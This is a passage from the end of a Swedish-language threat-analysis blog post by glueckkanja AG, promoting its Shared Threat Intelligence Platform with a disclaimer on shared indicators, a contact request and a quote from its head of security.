Här visar vår proprietära Shared Threat Intelligence Platform sitt värde, utvecklad exklusivt för glueckkanjas CSOC-kunder. Vi väntar inte på branschuppdateringar, vi skapar dem. Medan våra analytiker fortfarande monterade ner de sista lagren av ARM64-assembly distribuerade vår Automated Orchestration Engine redan de extraherade indikatorerna över hela vårt ekosystem. Det skapar flockimmunitet: det som upptäcks på en enda endpoint är inom minuter ett blockerat hot för varje organisation under vårt skydd.

Reaktiv säkerhet fungerar inte mot hot som medvetet slinker igenom luckorna i konventionella försvarsmekanismer. Svaret ligger i att koppla samman mänsklig expertis med en arkitektur som sätter den kunskapen i verket omedelbart och i skala. Genom vår shared intelligence-modell vänds angriparens tidsövertag: våra kunder är skyddade innan branschen ens har upptäckt hotet.

Notis om dataskydd

Identifierande information har anonymiserats i den här publikationen. Specifika tekniska detaljer, indikatorer och tidsstämplar kan ha ändrats något för att säkerställa det pågående skyddet av den drabbade miljön, utan att analysens tekniska integritet påverkas.

De tekniska analyserna och Indicators of Compromise (IOC:er) i den här rapporten är enbart avsedda för information och utbildning. De tillhandahålls efter bästa förmåga. glueckkanja AG lämnar inga uttryckliga eller underförstådda garantier om fullständighet eller korrekthet och ansvarar inte för skador, förluster eller säkerhetsincidenter som uppstår ur användningen av den information, de regler eller signaturer som delas här. Vi rekommenderar att alla indikatorer och regler valideras i en kontrollerad miljö innan de tas i bruk.

Beskrivna indikatorer och tekniker kan överlappa med kända malware-familjer och går inte att exklusivt hänföra till en enskild kampanj.

Ta kontakt

Vill ni veta hur vår Shared Threat Intelligence Platform skyddar er mot okända malware-varianter, redan innan branschen får kännedom om dem? Hör av er.
Porträtt av Jan Geisbauer, Head of Security på glueckkanja
Det farliga med den här varianten var inte den tekniska komplexiteten, hur imponerande den än är. Det farliga var tidsfönstret. Utan Shared Threat Intelligence hade våra övriga kunder stått oskyddade i timmar medan vi fortfarande analyserade.
Jan GeisbauerHead of Security

Liknande inlägg